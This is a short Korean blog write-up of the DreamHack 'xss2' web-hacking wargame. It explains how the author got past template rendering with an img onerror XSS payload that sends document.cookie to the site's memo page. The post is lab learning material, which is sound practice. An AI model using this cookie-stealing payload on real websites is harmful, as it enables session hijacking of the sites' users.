[WARGAME] DreamHack 웹해킹1 로드맵 / wargame - xss2

jckim22·2022년 10월 12일
0
post-thumbnail

지난번 xss1의 코드와 차이점은 이 vuln 단 하나였다.
지난번에는 필터없이 param을 return 해주었기 때문에 스크립트 코드가 사용되었지만 render_template를 사용하게 되면서 스크립트 코드가 막히게 되었다.


@app.route("/vuln")
def vuln():
    return render_template("vuln.html")

그래서 우회할 수 있는 방법을 구글링했는데 아주 쉽고 괜찮은 방법이 있었다.
바로 img태그에 이미지가 없을시 url로 대체하기 위한 onerror 속성을 사용하는 것이다.
원래의 용도는 아니지만 이것으로 우회할 수 있었다.

바로 이렇게

<img src="a" onerror="document.location.href='/memo?memo='+document.cookie">

를 injection 하게 되면

성공적으로 memo에 Flag가 출력되는 것을 볼 수 있다.

profile
개발/보안

0개의 댓글